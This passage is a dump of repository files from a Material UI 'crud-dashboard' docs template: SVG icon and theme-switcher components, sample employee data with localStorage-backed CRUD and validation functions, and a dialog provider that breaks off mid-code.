0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/SitemarkIcon.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/ThemeSwitcher.js",
    "content": "import * as React from 'react';\nimport { useTheme, useColorScheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport DarkModeIcon from '@mui/icons-material/DarkMode';\nimport LightModeIcon from '@mui/icons-material/LightMode';\n\nexport default function ThemeSwitcher() {\n  const theme = useTheme();\n\n  const prefersDarkMode = useMediaQuery('(prefers-color-scheme: dark)');\n  const preferredMode = prefersDarkMode ? 'dark' : 'light';\n\n  const { mode, setMode } = useColorScheme();\n\n  const paletteMode = !mode || mode === 'system' ? preferredMode : mode;\n\n  const toggleMode = React.useCallback(() => {\n    setMode(paletteMode === 'dark' ? 'light' : 'dark');\n  }, [setMode, paletteMode]);\n\n  return (\n    <Tooltip\n      title={`${paletteMode === 'dark' ? 'Light' : 'Dark'} mode`}\n      enterDelay={1000}\n    >\n      <div>\n        <IconButton\n          size=\"small\"\n          aria-label={`Switch to ${paletteMode === 'dark' ? 'light' : 'dark'} mode`}\n          onClick={toggleMode}\n        >\n          {theme.getColorSchemeSelector ? (\n            <React.Fragment>\n              <LightModeIcon\n                sx={{\n                  display: 'inline',\n                  [theme.getColorSchemeSelector('dark')]: {\n                    display: 'none',\n                  },\n                }}\n              />\n              <DarkModeIcon\n                sx={{\n                  display: 'none',\n                  [theme.getColorSchemeSelector('dark')]: {\n                    display: 'inline',\n                  },\n                }}\n              />\n            </React.Fragment>\n          ) : null}\n        </IconButton>\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/ThemeSwitcher.tsx",
    "content": "import * as React from 'react';\nimport { useTheme, useColorScheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport DarkModeIcon from '@mui/icons-material/DarkMode';\nimport LightModeIcon from '@mui/icons-material/LightMode';\n\nexport default function ThemeSwitcher() {\n  const theme = useTheme();\n\n  const prefersDarkMode = useMediaQuery('(prefers-color-scheme: dark)');\n  const preferredMode = prefersDarkMode ? 'dark' : 'light';\n\n  const { mode, setMode } = useColorScheme();\n\n  const paletteMode = !mode || mode === 'system' ? preferredMode : mode;\n\n  const toggleMode = React.useCallback(() => {\n    setMode(paletteMode === 'dark' ? 'light' : 'dark');\n  }, [setMode, paletteMode]);\n\n  return (\n    <Tooltip\n      title={`${paletteMode === 'dark' ? 'Light' : 'Dark'} mode`}\n      enterDelay={1000}\n    >\n      <div>\n        <IconButton\n          size=\"small\"\n          aria-label={`Switch to ${paletteMode === 'dark' ? 'light' : 'dark'} mode`}\n          onClick={toggleMode}\n        >\n          {theme.getColorSchemeSelector ? (\n            <React.Fragment>\n              <LightModeIcon\n                sx={{\n                  display: 'inline',\n                  [theme.getColorSchemeSelector('dark')]: {\n                    display: 'none',\n                  },\n                }}\n              />\n              <DarkModeIcon\n                sx={{\n                  display: 'none',\n                  [theme.getColorSchemeSelector('dark')]: {\n                    display: 'inline',\n                  },\n                }}\n              />\n            </React.Fragment>\n          ) : null}\n        </IconButton>\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/constants.js",
    "content": "export const DRAWER_WIDTH = 240; // px\nexport const MINI_DRAWER_WIDTH = 90; // px\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/constants.ts",
    "content": "export const DRAWER_WIDTH = 240; // px\nexport const MINI_DRAWER_WIDTH = 90; // px\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/context/DashboardSidebarContext.js",
    "content": "import * as React from 'react';\n\nconst DashboardSidebarContext = React.createContext(null);\n\nexport default DashboardSidebarContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/context/DashboardSidebarContext.ts",
    "content": "import * as React from 'react';\n\nconst DashboardSidebarContext = React.createContext<{\n  onPageItemClick: (id: string, hasNestedNavigation: boolean) => void;\n  mini: boolean;\n  fullyExpanded: boolean;\n  fullyCollapsed: boolean;\n  hasDrawerTransitions: boolean;\n} | null>(null);\n\nexport default DashboardSidebarContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/data/employees.js",
    "content": "const INITIAL_EMPLOYEES_STORE = [\n  {\n    id: 1,\n    name: 'Edward Perry',\n    age: 25,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Finance',\n    isFullTime: true,\n  },\n  {\n    id: 2,\n    name: 'Josephine Drake',\n    age: 36,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Market',\n    isFullTime: false,\n  },\n  {\n    id: 3,\n    name: 'Cody Phillips',\n    age: 19,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Development',\n    isFullTime: true,\n  },\n];\n\nexport function getEmployeesStore() {\n  const stringifiedEmployees = localStorage.getItem('employees-store');\n  return stringifiedEmployees\n    ? JSON.parse(stringifiedEmployees)\n    : INITIAL_EMPLOYEES_STORE;\n}\n\nexport function setEmployeesStore(employees) {\n  return localStorage.setItem('employees-store', JSON.stringify(employees));\n}\n\nexport async function getMany({ paginationModel, filterModel, sortModel }) {\n  const employeesStore = getEmployeesStore();\n\n  let filteredEmployees = [...employeesStore];\n\n  // Apply filters (example only)\n  if (filterModel?.items?.length) {\n    filterModel.items.forEach(({ field, value, operator }) => {\n      if (!field || value == null) {\n        return;\n      }\n\n      filteredEmployees = filteredEmployees.filter((employee) => {\n        const employeeValue = employee[field];\n\n        switch (operator) {\n          case 'contains':\n            return String(employeeValue)\n              .toLowerCase()\n              .includes(String(value).toLowerCase());\n          case 'equals':\n            return employeeValue === value;\n          case 'startsWith':\n            return String(employeeValue)\n              .toLowerCase()\n              .startsWith(String(value).toLowerCase());\n          case 'endsWith':\n            return String(employeeValue)\n              .toLowerCase()\n              .endsWith(String(value).toLowerCase());\n          case '>':\n            return employeeValue > value;\n          case '<':\n            return employeeValue < value;\n          default:\n            return true;\n        }\n      });\n    });\n  }\n\n  // Apply sorting\n  if (sortModel?.length) {\n    filteredEmployees.sort((a, b) => {\n      for (const { field, sort } of sortModel) {\n        if (a[field] < b[field]) {\n          return sort === 'asc' ? -1 : 1;\n        }\n        if (a[field] > b[field]) {\n          return sort === 'asc' ? 1 : -1;\n        }\n      }\n      return 0;\n    });\n  }\n\n  // Apply pagination\n  const start = paginationModel.page * paginationModel.pageSize;\n  const end = start + paginationModel.pageSize;\n  const paginatedEmployees = filteredEmployees.slice(start, end);\n\n  return {\n    items: paginatedEmployees,\n    itemCount: filteredEmployees.length,\n  };\n}\n\nexport async function getOne(employeeId) {\n  const employeesStore = getEmployeesStore();\n\n  const employeeToShow = employeesStore.find(\n    (employee) => employee.id === employeeId,\n  );\n\n  if (!employeeToShow) {\n    throw new Error('Employee not found');\n  }\n  return employeeToShow;\n}\n\nexport async function createOne(data) {\n  const employeesStore = getEmployeesStore();\n\n  const newEmployee = {\n    id: employeesStore.reduce((max, employee) => Math.max(max, employee.id), 0) + 1,\n    ...data,\n  };\n\n  setEmployeesStore([...employeesStore, newEmployee]);\n\n  return newEmployee;\n}\n\nexport async function updateOne(employeeId, data) {\n  const employeesStore = getEmployeesStore();\n\n  let updatedEmployee = null;\n\n  setEmployeesStore(\n    employeesStore.map((employee) => {\n      if (employee.id === employeeId) {\n        updatedEmployee = { ...employee, ...data };\n        return updatedEmployee;\n      }\n      return employee;\n    }),\n  );\n\n  if (!updatedEmployee) {\n    throw new Error('Employee not found');\n  }\n  return updatedEmployee;\n}\n\nexport async function deleteOne(employeeId) {\n  const employeesStore = getEmployeesStore();\n\n  setEmployeesStore(employeesStore.filter((employee) => employee.id !== employeeId));\n}\n\n// Validation follows the [Standard Schema](https://standardschema.dev/).\n\nexport function validate(employee) {\n  let issues = [];\n\n  if (!employee.name) {\n    issues = [...issues, { message: 'Name is required', path: ['name'] }];\n  }\n\n  if (!employee.age) {\n    issues = [...issues, { message: 'Age is required', path: ['age'] }];\n  } else if (employee.age < 18) {\n    issues = [...issues, { message: 'Age must be at least 18', path: ['age'] }];\n  }\n\n  if (!employee.joinDate) {\n    issues = [...issues, { message: 'Join date is required', path: ['joinDate'] }];\n  }\n\n  if (!employee.role) {\n    issues = [...issues, { message: 'Role is required', path: ['role'] }];\n  } else if (!['Market', 'Finance', 'Development'].includes(employee.role)) {\n    issues = [\n      ...issues,\n      {\n        message: 'Role must be \"Market\", \"Finance\" or \"Development\"',\n        path: ['role'],\n      },\n    ];\n  }\n\n  return { issues };\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/data/employees.ts",
    "content": "import type { GridFilterModel, GridPaginationModel, GridSortModel } from '@mui/x-data-grid';\n\ntype EmployeeRole = 'Market' | 'Finance' | 'Development';\n\nexport interface Employee {\n  id: number;\n  name: string;\n  age: number;\n  joinDate: string;\n  role: EmployeeRole;\n  isFullTime: boolean;\n}\n\nconst INITIAL_EMPLOYEES_STORE: Employee[] = [\n  {\n    id: 1,\n    name: 'Edward Perry',\n    age: 25,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Finance',\n    isFullTime: true,\n  },\n  {\n    id: 2,\n    name: 'Josephine Drake',\n    age: 36,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Market',\n    isFullTime: false,\n  },\n  {\n    id: 3,\n    name: 'Cody Phillips',\n    age: 19,\n    joinDate: '2025-07-16T00:00:00.000Z',\n    role: 'Development',\n    isFullTime: true,\n  },\n];\n\nexport function getEmployeesStore(): Employee[] {\n  const stringifiedEmployees = localStorage.getItem('employees-store');\n  return stringifiedEmployees ? JSON.parse(stringifiedEmployees) : INITIAL_EMPLOYEES_STORE;\n}\n\nexport function setEmployeesStore(employees: Employee[]) {\n  return localStorage.setItem('employees-store', JSON.stringify(employees));\n}\n\nexport async function getMany({\n  paginationModel,\n  filterModel,\n  sortModel,\n}: {\n  paginationModel: GridPaginationModel;\n  sortModel: GridSortModel;\n  filterModel: GridFilterModel;\n}): Promise<{ items: Employee[]; itemCount: number }> {\n  const employeesStore = getEmployeesStore();\n\n  let filteredEmployees = [...employeesStore];\n\n  // Apply filters (example only)\n  if (filterModel?.items?.length) {\n    filterModel.items.forEach(({ field, value, operator }) => {\n      if (!field || value == null) {\n        return;\n      }\n\n      filteredEmployees = filteredEmployees.filter((employee) => {\n        const employeeValue = employee[field as keyof Employee];\n\n        switch (operator) {\n          case 'contains':\n            return String(employeeValue).toLowerCase().includes(String(value).toLowerCase());\n          case 'equals':\n            return employeeValue === value;\n          case 'startsWith':\n            return String(employeeValue).toLowerCase().startsWith(String(value).toLowerCase());\n          case 'endsWith':\n            return String(employeeValue).toLowerCase().endsWith(String(value).toLowerCase());\n          case '>':\n            return employeeValue > value;\n          case '<':\n            return employeeValue < value;\n          default:\n            return true;\n        }\n      });\n    });\n  }\n\n  // Apply sorting\n  if (sortModel?.length) {\n    filteredEmployees.sort((a, b) => {\n      for (const { field, sort } of sortModel) {\n        if (a[field as keyof Employee] < b[field as keyof Employee]) {\n          return sort === 'asc' ? -1 : 1;\n        }\n        if (a[field as keyof Employee] > b[field as keyof Employee]) {\n          return sort === 'asc' ? 1 : -1;\n        }\n      }\n      return 0;\n    });\n  }\n\n  // Apply pagination\n  const start = paginationModel.page * paginationModel.pageSize;\n  const end = start + paginationModel.pageSize;\n  const paginatedEmployees = filteredEmployees.slice(start, end);\n\n  return {\n    items: paginatedEmployees,\n    itemCount: filteredEmployees.length,\n  };\n}\n\nexport async function getOne(employeeId: number) {\n  const employeesStore = getEmployeesStore();\n\n  const employeeToShow = employeesStore.find((employee) => employee.id === employeeId);\n\n  if (!employeeToShow) {\n    throw new Error('Employee not found');\n  }\n  return employeeToShow;\n}\n\nexport async function createOne(data: Omit<Employee, 'id'>) {\n  const employeesStore = getEmployeesStore();\n\n  const newEmployee = {\n    id: employeesStore.reduce((max, employee) => Math.max(max, employee.id), 0) + 1,\n    ...data,\n  };\n\n  setEmployeesStore([...employeesStore, newEmployee]);\n\n  return newEmployee;\n}\n\nexport async function updateOne(employeeId: number, data: Partial<Omit<Employee, 'id'>>) {\n  const employeesStore = getEmployeesStore();\n\n  let updatedEmployee: Employee | null = null;\n\n  setEmployeesStore(\n    employeesStore.map((employee) => {\n      if (employee.id === employeeId) {\n        updatedEmployee = { ...employee, ...data };\n        return updatedEmployee;\n      }\n      return employee;\n    }),\n  );\n\n  if (!updatedEmployee) {\n    throw new Error('Employee not found');\n  }\n  return updatedEmployee;\n}\n\nexport async function deleteOne(employeeId: number) {\n  const employeesStore = getEmployeesStore();\n\n  setEmployeesStore(employeesStore.filter((employee) => employee.id !== employeeId));\n}\n\n// Validation follows the [Standard Schema](https://standardschema.dev/).\n\ntype ValidationResult = { issues: { message: string; path: (keyof Employee)[] }[] };\n\nexport function validate(employee: Partial<Employee>): ValidationResult {\n  let issues: ValidationResult['issues'] = [];\n\n  if (!employee.name) {\n    issues = [...issues, { message: 'Name is required', path: ['name'] }];\n  }\n\n  if (!employee.age) {\n    issues = [...issues, { message: 'Age is required', path: ['age'] }];\n  } else if (employee.age < 18) {\n    issues = [...issues, { message: 'Age must be at least 18', path: ['age'] }];\n  }\n\n  if (!employee.joinDate) {\n    issues = [...issues, { message: 'Join date is required', path: ['joinDate'] }];\n  }\n\n  if (!employee.role) {\n    issues = [...issues, { message: 'Role is required', path: ['role'] }];\n  } else if (!['Market', 'Finance', 'Development'].includes(employee.role)) {\n    issues = [\n      ...issues,\n      { message: 'Role must be \"Market\", \"Finance\" or \"Development\"', path: ['role'] },\n    ];\n  }\n\n  return { issues };\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/DialogsContext.js",
    "content": "import * as React from 'react';\n\nconst DialogsContext = React.createContext(null);\n\nexport default DialogsContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/DialogsContext.ts",
    "content": "import * as React from 'react';\nimport { OpenDialog, CloseDialog } from './useDialogs';\n\nconst DialogsContext = React.createContext<{\n  open: OpenDialog;\n  close: CloseDialog;\n} | null>(null);\n\nexport default DialogsContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/DialogsProvider.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport DialogsContext from './DialogsContext';\n\n/**\n * Provider for Dialog stacks. The subtree of this component can use the `useDialogs` hook to\n * access the dialogs API. The dialogs are rendered in the order they are requested.\n */\nfunction DialogsProvider(props) {\n  const { children, unmountAfter = 1000 } = props;\n  const [stack, setStack] = React.useState([]);\n  const keyPrefix = React.useId();\n  const nextId = React.useRef(0);\n  const dialogMetadata = React.useRef(new WeakMap());\n\n  const requestDialog = useEventCallback(function open(\n    Component,\n    payload,\n    options = {},\n  ) {\n    const { onClose = async () => {} } = options;\n    let resolve;\n    const promise = new Promise((resolveImpl) => {\n      resolve = resolveImpl;\n    });\n\n    if (!resolve) {\n      throw new Error('resolve not set.');\n    }\n\n    const key = `${keyPrefix}-${nextId.current}`;\n    nextId.current += 1;\n\n    const newEntry = {\n      key,\n      open: true,\n      promise,\n      Component,\n      payload,\n      onClose,\n      resolve,\n    };\n\n    // Store metadata for reliable access during close\n    dialogMetadata.current.set(promise, newEntry);\n\n    setStack((prevStack) => [...prevStack, newEntry]);\n    return promise;\n  });\n\n  const closeDialogUi = useEventCallback(function closeDialogUi(dialog) {\n    setStack((prevStack) =>\n      prevStack.map((entry) =>\n        entry.promise === dialog ? { ...entry, open: false } : entry,\n      ),\n    );\n    setTimeout(() => {\n      // wait for closing animation\n      setStack((prevStack) => prevStack.filter((entry) => entry.promise !== dialog));\n      // WeakMap automatically cleans up when promise is garbage collected\n    }, unmountAfter);\n  });\n\n  const closeDialog = useEventCallback(async function closeDialog(dialog, result) {\n    const entryToClose = dialogMetadata.current.get(dialog);\n    if (!entryToClose) {\n      throw new Error('Dialog not found.');\n    }\n\n    try {\n      await entryToClose.onClose(result);\n    } finally {\n      entryToClose.resolve(result);\n      closeDialogUi(dialog);\n    }\n    return dialog;\n  });\n\n  const contextValue = React.useMemo(\n    () => ({ open: requestDialog, close: closeDialog }),\n    [requestDialog, closeDialog],\n  );\n\n  return (\n    <DialogsContext.Provider value={contextValue}>\n      {children}\n      {stack.map(({ key, open, Component, payload, promise }) => (\n        <Component\n          key={key}\n          payload={payload}\n          open={open}\n          onClose={async (result) => {\n            await closeDialog(promise, result);\n          }}\n        />\n      ))}\n    </DialogsContext.Provider>\n  );\n}\n\nDialogsProvider.propTypes = {\n  children: PropTypes.node,\n  unmountAfter: PropTypes.number,\n};\n\nexport default DialogsProvider;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/DialogsProvider.tsx",
    "content": "import * as React from 'react';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport DialogsContext from './DialogsContext';\nimport type { DialogComponent, OpenDialog, OpenDialogOptions } from './useDialogs';\n\ninterface DialogStackEntry<P, R> {\n  key: string;\n  open: boolean;\n  promise: Promise<R>;\n  Component: DialogComponent<P, R>;\n  payload: P;\n  onClose: (result: R) => Promise<void>;\n  resolve: (result: R) => void;\n}\n\nexport interface DialogProviderProps {\n  children?: React.ReactNode;\n  unmountAfter?: number;\n}\n\n/**\n * Provider for Dialog stacks. The subtree of this component can use the `useDialogs` hook to\n * access the dialogs API. The dialogs are rendered in the order they are requested.\n */\nexport default function DialogsProvider(props: DialogProviderProps) {\n  const { children, unmountAfter = 1000 } = props;\n  const [stack, setStack] = React.useState<DialogStackEntry<any, any>[]>([]);\n  const keyPrefix = React.useId();\n  const nextId = React.useRef(0);\n  const dialogMetadata = React.useRef(\n    new WeakMap<Promise<any>, DialogStackEntry<any, any>>(),\n  );\n\n  const requestDialog = useEventCallback<OpenDialog>(function open<P, R>(\n    Component: DialogComponent<P, R>,\n    payload: P,\n    options: OpenDialogOptions<R> = {},\n  ) {\n    const { onClose = async () => {} } = options;\n    let resolve: ((result: R) => void) | undefined;\n    const promise = new Promise<R>((resolveImpl) => {\n      resolve = resolveImpl;\n    });\n\n    if (!resolve) {\n      throw new Error('resolve not set.');\n    }\n\n    const key = `${keyPrefix}-${nextId.current}`;\n    nextId.current += 1;\n\n    const newEntry: DialogStackEntry<P, R> = {\n      key,\n      open: true,\n      promise,\n      Component,\n      payload,\n      onClose,\n      resolve,\n    };\n\n    // Store metadata for reliable access during close\n    dialogMetadata.current.set(promise, newEntry);\n\n    setStack((prevStack) => [...prevStack, 